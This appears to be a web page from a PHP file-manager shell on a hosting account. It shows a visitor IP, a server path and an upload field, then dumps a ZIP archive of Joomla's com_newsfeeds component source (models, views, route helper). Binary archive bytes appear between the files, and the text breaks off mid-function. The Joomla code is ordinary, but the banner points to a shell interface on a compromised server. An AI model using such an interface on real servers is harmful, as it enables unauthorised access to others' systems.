Your IP : 216.73.216.98


Current Path : /home/opticamezl/www/newok/
Upload File :
Current File : /home/opticamezl/www/newok/components.zip

PK���\Sh,  )com_newsfeeds/src/Model/NewsfeedModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Newsfeeds\Site\Model;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\ItemModel;
use Joomla\Database\ParameterType;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Newsfeeds Component Newsfeed Model
 *
 * @since  1.5
 */
class NewsfeedModel extends ItemModel
{
    /**
     * Model context string.
     *
     * @var     string
     * @since   1.6
     */
    protected $_context = 'com_newsfeeds.newsfeed';

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState()
    {
        $app = Factory::getApplication();

        // Load state from the request.
        $pk = $app->getInput()->getInt('id');
        $this->setState('newsfeed.id', $pk);

        $offset = $app->getInput()->get('limitstart', 0, 'uint');
        $this->setState('list.offset', $offset);

        // Load the parameters.
        $params = $app->getParams();
        $this->setState('params', $params);

        $user = $this->getCurrentUser();

        if ((!$user->authorise('core.edit.state', 'com_newsfeeds')) && (!$user->authorise('core.edit', 'com_newsfeeds'))) {
            $this->setState('filter.published', 1);
            $this->setState('filter.archived', 2);
        }
    }

    /**
     * Method to get newsfeed data.
     *
     * @param   integer  $pk  The id of the newsfeed.
     *
     * @return  mixed  Menu item data object on success, false on failure.
     *
     * @since   1.6
     */
    public function &getItem($pk = null)
    {
        $pk = (int) $pk ?: (int) $this->getState('newsfeed.id');

        if ($this->_item === null) {
            $this->_item = [];
        }

        if (!isset($this->_item[$pk])) {
            try {
                $db    = $this->getDatabase();
                $query = $db->getQuery(true)
                    ->select(
                        [
                            $this->getState('item.select', $db->quoteName('a') . '.*'),
                            $db->quoteName('c.title', 'category_title'),
                            $db->quoteName('c.alias', 'category_alias'),
                            $db->quoteName('c.access', 'category_access'),
                            $db->quoteName('u.name', 'author'),
                            $db->quoteName('parent.title', 'parent_title'),
                            $db->quoteName('parent.id', 'parent_id'),
                            $db->quoteName('parent.path', 'parent_route'),
                            $db->quoteName('parent.alias', 'parent_alias'),
                        ]
                    )
                    ->from($db->quoteName('#__newsfeeds', 'a'))
                    ->join('LEFT', $db->quoteName('#__categories', 'c'), $db->quoteName('c.id') . ' = ' . $db->quoteName('a.catid'))
                    ->join('LEFT', $db->quoteName('#__users', 'u'), $db->quoteName('u.id') . ' = ' . $db->quoteName('a.created_by'))
                    ->join('LEFT', $db->quoteName('#__categories', 'parent'), $db->quoteName('parent.id') . ' = ' . $db->quoteName('c.parent_id'))
                    ->where($db->quoteName('a.id') . ' = :id')
                    ->bind(':id', $pk, ParameterType::INTEGER);

                // Filter by published state.
                $published = $this->getState('filter.published');
                $archived  = $this->getState('filter.archived');

                if (is_numeric($published)) {
                    // Filter by start and end dates.
                    $nowDate = Factory::getDate()->toSql();

                    $published = (int) $published;
                    $archived  = (int) $archived;

                    $query->extendWhere(
                        'AND',
                        [
                            $db->quoteName('a.published') . ' = :published1',
                            $db->quoteName('a.published') . ' = :archived1',
                        ],
                        'OR'
                    )
                        ->extendWhere(
                            'AND',
                            [
                                $db->quoteName('a.publish_up') . ' IS NULL',
                                $db->quoteName('a.publish_up') . ' <= :nowDate1',
                            ],
                            'OR'
                        )
                        ->extendWhere(
                            'AND',
                            [
                                $db->quoteName('a.publish_down') . ' IS NULL',
                                $db->quoteName('a.publish_down') . ' >= :nowDate2',
                            ],
                            'OR'
                        )
                        ->extendWhere(
                            'AND',
                            [
                                $db->quoteName('c.published') . ' = :published2',
                                $db->quoteName('c.published') . ' = :archived2',
                            ],
                            'OR'
                        )
                        ->bind([':published1', ':published2'], $published, ParameterType::INTEGER)
                        ->bind([':archived1', ':archived2'], $archived, ParameterType::INTEGER)
                        ->bind([':nowDate1', ':nowDate2'], $nowDate);
                }

                $db->setQuery($query);

                $data = $db->loadObject();

                if ($data === null) {
                    throw new \Exception(Text::_('COM_NEWSFEEDS_ERROR_FEED_NOT_FOUND'), 404);
                }

                // Check for published state if filter set.

                if ((is_numeric($published) || is_numeric($archived)) && $data->published != $published && $data->published != $archived) {
                    throw new \Exception(Text::_('COM_NEWSFEEDS_ERROR_FEED_NOT_FOUND'), 404);
                }

                // Convert parameter fields to objects.
                $registry     = new Registry($data->params);
                $data->params = clone $this->getState('params');
                $data->params->merge($registry);

                $data->metadata = new Registry($data->metadata);

                // Compute access permissions.

                if ($access = $this->getState('filter.access')) {
                    // If the access filter has been set, we already know this user can view.
                    $data->params->set('access-view', true);
                } else {
                    // If no access filter is set, the layout takes some responsibility for display of limited information.
                    $user   = $this->getCurrentUser();
                    $groups = $user->getAuthorisedViewLevels();
                    $data->params->set('access-view', in_array($data->access, $groups) && in_array($data->category_access, $groups));
                }

                $this->_item[$pk] = $data;
            } catch (\Exception $e) {
                $this->setError($e);
                $this->_item[$pk] = false;
            }
        }

        return $this->_item[$pk];
    }

    /**
     * Increment the hit counter for the newsfeed.
     *
     * @param   int  $pk  Optional primary key of the item to increment.
     *
     * @return  boolean  True if successful; false otherwise and internal error set.
     *
     * @since   3.0
     */
    public function hit($pk = 0)
    {
        $input    = Factory::getApplication()->getInput();
        $hitcount = $input->getInt('hitcount', 1);

        if ($hitcount) {
            $pk = (!empty($pk)) ? $pk : (int) $this->getState('newsfeed.id');

            $table = $this->getTable('Newsfeed', 'Administrator');
            $table->hit($pk);
        }

        return true;
    }
}
PK���\�'Moo+com_newsfeeds/src/Model/CategoriesModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Newsfeeds\Site\Model;

use Joomla\CMS\Categories\Categories;
use Joomla\CMS\Categories\CategoryNode;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * This models supports retrieving lists of newsfeed categories.
 *
 * @since  1.6
 */
class CategoriesModel extends ListModel
{
    /**
     * Model context string.
     *
     * @var     string
     */
    public $_context = 'com_newsfeeds.categories';

    /**
     * The category context (allows other extensions to derived from this model).
     *
     * @var     string
     */
    protected $_extension = 'com_newsfeeds';

    /**
     * Parent category of the current one
     *
     * @var    CategoryNode|null
     */
    private $_parent = null;

    /**
     * Array of child-categories
     *
     * @var    CategoryNode[]|null
     */
    private $_items = null;

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   An optional ordering field
     * @param   string  $direction  An optional direction [asc|desc]
     *
     * @return void
     *
     * @throws \Exception
     *
     * @since   1.6
     */
    protected function populateState($ordering = null, $direction = null)
    {
        $app = Factory::getApplication();
        $this->setState('filter.extension', $this->_extension);

        // Get the parent id if defined.
        $parentId = $app->getInput()->getInt('id');
        $this->setState('filter.parentId', $parentId);

        $params = $app->getParams();
        $this->setState('params', $params);

        $this->setState('filter.published', 1);
        $this->setState('filter.access', true);
    }

    /**
     * Method to get a store id based on model configuration state.
     *
     * This is necessary because the model is used by the component and
     * different modules that might need different sets of data or different
     * ordering requirements.
     *
     * @param   string  $id  A prefix for the store id.
     *
     * @return  string  A store id.
     */
    protected function getStoreId($id = '')
    {
        // Compile the store id.
        $id .= ':' . $this->getState('filter.extension');
        $id .= ':' . $this->getState('filter.published');
        $id .= ':' . $this->getState('filter.access');
        $id .= ':' . $this->getState('filter.parentId');

        return parent::getStoreId($id);
    }

    /**
     * redefine the function and add some properties to make the styling easier
     *
     * @return mixed An array of data items on success, false on failure.
     */
    public function getItems()
    {
        if ($this->_items === null) {
            $app    = Factory::getApplication();
            $menu   = $app->getMenu();
            $active = $menu->getActive();

            if ($active) {
                $params = $active->getParams();
            } else {
                $params = new Registry();
            }

            $options               = [];
            $options['countItems'] = $params->get('show_cat_items_cat', 1) || !$params->get('show_empty_categories_cat', 0);
            $categories            = Categories::getInstance('Newsfeeds', $options);
            $this->_parent         = $categories->get($this->getState('filter.parentId', 'root'));

            if (is_object($this->_parent)) {
                $this->_items = $this->_parent->getChildren();
            } else {
                $this->_items = false;
            }
        }

        return $this->_items;
    }

    /**
     * get the Parent
     *
     * @return null
     */
    public function getParent()
    {
        if (!is_object($this->_parent)) {
            $this->getItems();
        }

        return $this->_parent;
    }
}
PK���\��Ǯ�.�.)com_newsfeeds/src/Model/CategoryModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Newsfeeds\Site\Model;

use Joomla\CMS\Categories\Categories;
use Joomla\CMS\Categories\CategoryNode;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\CMS\Table\Table;
use Joomla\Database\ParameterType;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Newsfeeds Component Category Model
 *
 * @since  1.5
 */
class CategoryModel extends ListModel
{
    /**
     * Category items data
     *
     * @var array
     */
    protected $_item;

    /**
     * Array of newsfeeds in the category
     *
     * @var    \stdClass[]
     */
    protected $_articles;

    /**
     * Category left and right of this one
     *
     * @var    CategoryNode[]|null
     */
    protected $_siblings;

    /**
     * Array of child-categories
     *
     * @var    CategoryNode[]|null
     */
    protected $_children;

    /**
     * Parent category of the current one
     *
     * @var    CategoryNode|null
     */
    protected $_parent;

    /**
     * The category that applies.
     *
     * @var    object
     */
    protected $_category;

    /**
     * The list of other newsfeed categories.
     *
     * @var    array
     */
    protected $_categories;

    /**
     * Constructor.
     *
     * @param   array                $config   An optional associative array of configuration settings.
     * @param   MVCFactoryInterface  $factory  The factory.
     *
     * @see    \Joomla\CMS\MVC\Model\BaseDatabaseModel
     * @since   3.2
     */
    public function __construct($config = [], MVCFactoryInterface $factory = null)
    {
        if (empty($config['filter_fields'])) {
            $config['filter_fields'] = [
                'id', 'a.id',
                'name', 'a.name',
                'numarticles', 'a.numarticles',
                'link', 'a.link',
                'ordering', 'a.ordering',
            ];
        }

        parent::__construct($config, $factory);
    }

    /**
     * Method to get a list of items.
     *
     * @return  mixed  An array of objects on success, false on failure.
     */
    public function getItems()
    {
        // Invoke the parent getItems method to get the main list
        $items = parent::getItems();

        $taggedItems = [];

        // Convert the params field into an object, saving original in _params
        foreach ($items as $item) {
            if (!isset($this->_params)) {
                $item->params = new Registry($item->params);
            }

            // Some contexts may not use tags data at all, so we allow callers to disable loading tag data
            if ($this->getState('load_tags', true)) {
                $item->tags             = new TagsHelper();
                $taggedItems[$item->id] = $item;
            }
        }

        // Load tags of all items.
        if ($taggedItems) {
            $tagsHelper = new TagsHelper();
            $itemIds    = \array_keys($taggedItems);

            foreach ($tagsHelper->getMultipleItemTags('com_newsfeeds.newsfeed', $itemIds) as $id => $tags) {
                $taggedItems[$id]->tags->itemTags = $tags;
            }
        }

        return $items;
    }

    /**
     * Method to build an SQL query to load the list data.
     *
     * @return  \Joomla\Database\DatabaseQuery    An SQL query
     *
     * @since   1.6
     */
    protected function getListQuery()
    {
        $user   = $this->getCurrentUser();
        $groups = $user->getAuthorisedViewLevels();

        // Create a new query object.
        $db = $this->getDatabase();

        /** @var \Joomla\Database\DatabaseQuery $query */
        $query = $db->getQuery(true);

        // Select required fields from the categories.
        $query->select($this->getState('list.select', $db->quoteName('a') . '.*'))
            ->from($db->quoteName('#__newsfeeds', 'a'))
            ->whereIn($db->quoteName('a.access'), $groups);

        // Filter by category.
        if ($categoryId = (int) $this->getState('category.id')) {
            $query->where($db->quoteName('a.catid') . ' = :categoryId')
                ->join('LEFT', $db->quoteName('#__categories', 'c'), $db->quoteName('c.id') . ' = ' . $db->quoteName('a.catid'))
                ->whereIn($db->quoteName('c.access'), $groups)
                ->bind(':categoryId', $categoryId, ParameterType::INTEGER);
        }

        // Filter by state
        $state = $this->getState('filter.published');

        if (is_numeric($state)) {
            $state = (int) $state;
            $query->where($db->quoteName('a.published') . ' = :state')
                ->bind(':state', $state, ParameterType::INTEGER);
        } else {
            $query->where($db->quoteName('a.published') . ' IN (0,1,2)');
        }

        // Filter by start and end dates.
        if ($this->getState('filter.publish_date')) {
            $nowDate = Factory::getDate()->toSql();

            $query->extendWhere(
                'AND',
                [
                    $db->quoteName('a.publish_up') . ' IS NULL',
                    $db->quoteName('a.publish_up') . ' <= :nowDate1',
                ],
                'OR'
            )
                ->extendWhere(
                    'AND',
                    [
                        $db->quoteName('a.publish_down') . ' IS NULL',
                        $db->quoteName('a.publish_down') . ' >= :nowDate2',
                    ],
                    'OR'
                )
                ->bind([':nowDate1', ':nowDate2'], $nowDate);
        }

        // Filter by search in title
        if ($search = $this->getState('list.filter')) {
            $search = '%' . $search . '%';
            $query->where($db->quoteName('a.name') . ' LIKE :search')
                ->bind(':search', $search);
        }

        // Filter by language
        if ($this->getState('filter.language')) {
            $query->whereIn($db->quoteName('a.language'), [Factory::getApplication()->getLanguage()->getTag(), '*'], ParameterType::STRING);
        }

        // Add the list ordering clause.
        $query->order($db->escape($this->getState('list.ordering', 'a.ordering')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

        return $query;
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   An optional ordering field
     * @param   string  $direction  An optional direction [asc|desc]
     *
     * @return void
     *
     * @since   1.6
     *
     * @throws \Exception
     */
    protected function populateState($ordering = null, $direction = null)
    {
        $app   = Factory::getApplication();
        $input = $app->getInput();

        $params = $app->getParams();
        $this->setState('params', $params);

        // List state information
        $limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->get('list_limit'), 'uint');
        $this->setState('list.limit', $limit);

        $limitstart = $input->get('limitstart', 0, 'uint');
        $this->setState('list.start', $limitstart);

        // Optional filter text
        $this->setState('list.filter', $input->getString('filter-search'));

        $orderCol = $input->get('filter_order', 'ordering');

        if (!in_array($orderCol, $this->filter_fields)) {
            $orderCol = 'ordering';
        }

        $this->setState('list.ordering', $orderCol);

        $listOrder = $input->get('filter_order_Dir', 'ASC');

        if (!in_array(strtoupper($listOrder), ['ASC', 'DESC', ''])) {
            $listOrder = 'ASC';
        }

        $this->setState('list.direction', $listOrder);

        $id = $input->get('id', 0, 'int');
        $this->setState('category.id', $id);

        $user = $this->getCurrentUser();

        if ((!$user->authorise('core.edit.state', 'com_newsfeeds')) && (!$user->authorise('core.edit', 'com_newsfeeds'))) {
            // Limit to published for people who can't edit or edit.state.
            $this->setState('filter.published', 1);

            // Filter by start and end dates.
            $this->setState('filter.publish_date', true);
        }

        $this->setState('filter.language', Multilanguage::isEnabled());
    }

    /**
     * Method to get category data for the current category
     *
     * @return  object
     *
     * @since   1.5
     */
    public function getCategory()
    {
        if (!is_object($this->_item)) {
            $app    = Factory::getApplication();
            $menu   = $app->getMenu();
            $active = $menu->getActive();

            if ($active) {
                $params = $active->getParams();
            } else {
                $params = new Registry();
            }

            $options               = [];
            $options['countItems'] = $params->get('show_cat_items', 1) || $params->get('show_empty_categories', 0);
            $categories            = Categories::getInstance('Newsfeeds', $options);
            $this->_item           = $categories->get($this->getState('category.id', 'root'));

            if (is_object($this->_item)) {
                $this->_children = $this->_item->getChildren();
                $this->_parent   = false;

                if ($this->_item->getParent()) {
                    $this->_parent = $this->_item->getParent();
                }

                $this->_rightsibling = $this->_item->getSibling();
                $this->_leftsibling  = $this->_item->getSibling(false);
            } else {
                $this->_children = false;
                $this->_parent   = false;
            }
        }

        return $this->_item;
    }

    /**
     * Get the parent category.
     *
     * @return  mixed  An array of categories or false if an error occurs.
     */
    public function getParent()
    {
        if (!is_object($this->_item)) {
            $this->getCategory();
        }

        return $this->_parent;
    }

    /**
     * Get the sibling (adjacent) categories.
     *
     * @return  mixed  An array of categories or false if an error occurs.
     */
    public function &getLeftSibling()
    {
        if (!is_object($this->_item)) {
            $this->getCategory();
        }

        return $this->_leftsibling;
    }

    /**
     * Get the sibling (adjacent) categories.
     *
     * @return  mixed  An array of categories or false if an error occurs.
     */
    public function &getRightSibling()
    {
        if (!is_object($this->_item)) {
            $this->getCategory();
        }

        return $this->_rightsibling;
    }

    /**
     * Get the child categories.
     *
     * @return  mixed  An array of categories or false if an error occurs.
     */
    public function &getChildren()
    {
        if (!is_object($this->_item)) {
            $this->getCategory();
        }

        return $this->_children;
    }

    /**
     * Increment the hit counter for the category.
     *
     * @param   int  $pk  Optional primary key of the category to increment.
     *
     * @return  boolean True if successful; false otherwise and internal error set.
     */
    public function hit($pk = 0)
    {
        $input    = Factory::getApplication()->getInput();
        $hitcount = $input->getInt('hitcount', 1);

        if ($hitcount) {
            $pk    = (!empty($pk)) ? $pk : (int) $this->getState('category.id');
            $table = Table::getInstance('Category', 'JTable');
            $table->hit($pk);
        }

        return true;
    }
}
PK���\�D�r�%�%,com_newsfeeds/src/View/Newsfeed/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Newsfeeds\Site\View\Newsfeed;

use Joomla\CMS\Categories\Categories;
use Joomla\CMS\Factory;
use Joomla\CMS\Feed\FeedFactory;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\Component\Newsfeeds\Site\Helper\RouteHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML View class for the Newsfeeds component
 *
 * @since  1.0
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The model state
     *
     * @var     object
     *
     * @since   1.6
     */
    protected $state;

    /**
     * The newsfeed item
     *
     * @var     object
     *
     * @since   1.6
     */
    protected $item;

    /**
     * UNUSED?
     *
     * @var     boolean
     *
     * @since   1.6
     */
    protected $print;

    /**
     * The current user instance
     *
     * @var    \Joomla\CMS\User\User|null
     *
     * @since  4.0.0
     */
    protected $user = null;

    /**
     * The page class suffix
     *
     * @var    string
     *
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * The page parameters
     *
     * @var    \Joomla\Registry\Registry|null
     *
     * @since  4.0.0
     */
    protected $params;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     *
     * @since   1.6
     */
    public function display($tpl = null)
    {
        $app  = Factory::getApplication();
        $user = $this->getCurrentUser();

        // Get view related request variables.
        $print = $app->getInput()->getBool('print');

        // Get model data.
        $state = $this->get('State');
        $item  = $this->get('Item');

        // Check for errors.
        // @TODO: Maybe this could go into ComponentHelper::raiseErrors($this->get('Errors'))
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // Add router helpers.
        $item->slug        = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;
        $item->catslug     = $item->category_alias ? ($item->catid . ':' . $item->category_alias) : $item->catid;
        $item->parent_slug = $item->category_alias ? ($item->parent_id . ':' . $item->parent_alias) : $item->parent_id;

        // Merge newsfeed params. If this is single-newsfeed view, menu params override newsfeed params
        // Otherwise, newsfeed params override menu item params
        $params          = $state->get('params');
        $newsfeed_params = clone $item->params;
        $active          = $app->getMenu()->getActive();
        $temp            = clone $params;

        // Check to see which parameters should take priority
        if ($active) {
            $currentLink = $active->link;

            // If the current view is the active item and a newsfeed view for this feed, then the menu item params take priority
            if (strpos($currentLink, 'view=newsfeed') && strpos($currentLink, '&id=' . (string) $item->id)) {
                // $item->params are the newsfeed params, $temp are the menu item params
                // Merge so that the menu item params take priority
                $newsfeed_params->merge($temp);
                $item->params = $newsfeed_params;

                // Load layout from active query (in case it is an alternative menu item)
                if (isset($active->query['layout'])) {
                    $this->setLayout($active->query['layout']);
                }
            } else {
                // Current view is not a single newsfeed, so the newsfeed params take priority here
                // Merge the menu item params with the newsfeed params so that the newsfeed params take priority
                $temp->merge($newsfeed_params);
                $item->params = $temp;

                // Check for alternative layouts (since we are not in a single-newsfeed menu item)
                if ($layout = $item->params->get('newsfeed_layout')) {
                    $this->setLayout($layout);
                }
            }
        } else {
            // Merge so that newsfeed params take priority
            $temp->merge($newsfeed_params);
            $item->params = $temp;

            // Check for alternative layouts (since we are not in a single-newsfeed menu item)
            if ($layout = $item->params->get('newsfeed_layout')) {
                $this->setLayout($layout);
            }
        }

        // Check the access to the newsfeed
        $levels = $user->getAuthorisedViewLevels();

        if (!in_array($item->access, $levels) || (in_array($item->access, $levels) && (!in_array($item->category_access, $levels)))) {
            $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error');
            $app->setHeader('status', 403, true);

            return;
        }

        // Get the current menu item
        $params = $app->getParams();

        $params->merge($item->params);

        try {
            $feed         = new FeedFactory();
            $this->rssDoc = $feed->getFeed($item->link);
        } catch (\InvalidArgumentException $e) {
            $msg = Text::_('COM_NEWSFEEDS_ERRORS_FEED_NOT_RETRIEVED');
        } catch (\RuntimeException $e) {
            $msg = Text::_('COM_NEWSFEEDS_ERRORS_FEED_NOT_RETRIEVED');
        }

        if (empty($this->rssDoc)) {
            $msg = Text::_('COM_NEWSFEEDS_ERRORS_FEED_NOT_RETRIEVED');
        }

        $feed_display_order = $params->get('feed_display_order', 'des');

        if ($feed_display_order === 'asc') {
            $this->rssDoc->reverseItems();
        }

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''));

        $this->params = $params;
        $this->state  = $state;
        $this->item   = $item;
        $this->user   = $user;

        if (!empty($msg)) {
            $this->msg = $msg;
        }

        $this->print = $print;

        $item->tags = new TagsHelper();
        $item->tags->getItemTags('com_newsfeeds.newsfeed', $item->id);

        // Increment the hit counter of the newsfeed.
        $model = $this->getModel();
        $model->hit();

        $this->_prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function _prepareDocument()
    {
        $app     = Factory::getApplication();
        $pathway = $app->getPathway();

        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = $app->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('COM_NEWSFEEDS_DEFAULT_PAGE_TITLE'));
        }

        $title = $this->params->get('page_title', '');

        $id = (int) @$menu->query['id'];

        // If the menu item does not concern this newsfeed
        if (
            $menu && (!isset($menu->query['option']) || $menu->query['option'] !== 'com_newsfeeds' || $menu->query['view'] !== 'newsfeed'
            || $id != $this->item->id)
        ) {
            // If this is not a single newsfeed menu item, set the page title to the newsfeed title
            if ($this->item->name) {
                $title = $this->item->name;
            }

            $path     = [['title' => $this->item->name, 'link' => '']];
            $category = Categories::getInstance('Newsfeeds')->get($this->item->catid);

            while (
                isset($category->id) && $category->id > 1
                && (!isset($menu->query['option']) || $menu->query['option'] !== 'com_newsfeeds' || $menu->query['view'] === 'newsfeed'
                || $id != $category->id)
            ) {
                $path[]   = ['title' => $category->title, 'link' => RouteHelper::getCategoryRoute($category->id)];
                $category = $category->getParent();
            }

            $path = array_reverse($path);

            foreach ($path as $item) {
                $pathway->addItem($item['title'], $item['link']);
            }
        }

        if (empty($title)) {
            $title = $this->item->name;
        }

        $this->setDocumentTitle($title);

        if ($this->item->metadesc) {
            $this->getDocument()->setDescription($this->item->metadesc);
        } elseif ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }

        if ($app->get('MetaAuthor') == '1') {
            $this->getDocument()->setMetaData('author', $this->item->author);
        }

        $mdata = $this->item->metadata->toArray();

        foreach ($mdata as $k => $v) {
            if ($v) {
                $this->getDocument()->setMetaData($k, $v);
            }
        }
    }
}
PK���\�g�T,com_newsfeeds/src/View/Category/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Newsfeeds\Site\View\Category;

use Joomla\CMS\MVC\View\CategoryView;
use Joomla\Component\Newsfeeds\Site\Helper\RouteHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML View class for the Newsfeeds component
 *
 * @since  1.0
 */
class HtmlView extends CategoryView
{
    /**
     * @var    string  Default title to use for page title
     * @since  3.2
     */
    protected $defaultPageTitle = 'COM_NEWSFEEDS_DEFAULT_PAGE_TITLE';

    /**
     * @var    string  The name of the extension for the category
     * @since  3.2
     */
    protected $extension = 'com_newsfeeds';

    /**
     * @var    string  The name of the view to link individual items to
     * @since  3.2
     */
    protected $viewName = 'newsfeed';

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     */
    public function display($tpl = null)
    {
        $this->commonCategoryDisplay();

        // Flag indicates to not add limitstart=0 to URL
        $this->pagination->hideEmptyLimitstart = true;

        // Prepare the data.
        // Compute the newsfeed slug.
        foreach ($this->items as $item) {
            $item->slug   = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;
            $temp         = $item->params;
            $item->params = clone $this->params;
            $item->params->merge($temp);
        }

        parent::display($tpl);
    }

    /**
     * Prepares the document
     *
     * @return  void
     */
    protected function prepareDocument()
    {
        parent::prepareDocument();

        $menu = $this->menu;
        $id   = (int) @$menu->query['id'];

        if (
            $menu && (!isset($menu->query['option']) || $menu->query['option'] !== 'com_newsfeeds' || $menu->query['view'] === 'newsfeed'
            || $id != $this->category->id)
        ) {
            $path     = [['title' => $this->category->title, 'link' => '']];
            $category = $this->category->getParent();

            while (
                isset($category->id) && $category->id > 1
                && (!isset($menu->query['option']) || $menu->query['option'] !== 'com_newsfeeds' || $menu->query['view'] === 'newsfeed'
                || $id != $category->id)
            ) {
                $path[]   = ['title' => $category->title, 'link' => RouteHelper::getCategoryRoute($category->id, $category->language)];
                $category = $category->getParent();
            }

            $path = array_reverse($path);

            foreach ($path as $item) {
                $this->pathway->addItem($item['title'], $item['link']);
            }
        }
    }
}
PK���\�_�(YY.com_newsfeeds/src/View/Categories/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Newsfeeds\Site\View\Categories;

use Joomla\CMS\MVC\View\CategoriesView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Newsfeed categories view.
 *
 * @since  1.5
 */
class HtmlView extends CategoriesView
{
    /**
     * Language key for default page heading
     *
     * @var    string
     * @since  3.2
     */
    protected $pageHeading = 'COM_NEWSFEEDS_DEFAULT_PAGE_TITLE';

    /**
     * @var    string  The name of the extension for the category
     * @since  3.2
     */
    protected $extension = 'com_newsfeeds';
}
PK���\��n{{(com_newsfeeds/src/Helper/RouteHelper.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Newsfeeds\Site\Helper;

use Joomla\CMS\Categories\CategoryNode;
use Joomla\CMS\Language\Multilanguage;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Newsfeeds Component Route Helper
 *
 * @since  1.5
 */
abstract class RouteHelper
{
    /**
     * getNewsfeedRoute
     *
     * @param   int  $id        menu itemid
     * @param   int  $catid     category id
     * @param   int  $language  language
     *
     * @return string
     */
    public static function getNewsfeedRoute($id, $catid, $language = 0)
    {
        // Create the link
        $link = 'index.php?option=com_newsfeeds&view=newsfeed&id=' . $id;

        if ((int) $catid > 1) {
            $link .= '&catid=' . $catid;
        }

        if ($language && $language !== '*' && Multilanguage::isEnabled()) {
            $link .= '&lang=' . $language;
        }

        return $link;
    }

    /**
     * getCategoryRoute
     *
     * @param   int  $catid     category id
     * @param   int  $language  language
     *
     * @return string
     */
    public static function getCategoryRoute($catid, $language = 0)
    {
        if ($catid instanceof CategoryNode) {
            $id = $catid->id;
        } else {
            $id = (int) $catid;
        }

        if ($id < 1) {
            $link = '';
        } else {
            // Create the link
            $link = 'index.php?option=com_newsfeeds&view=category&id=' . $id;

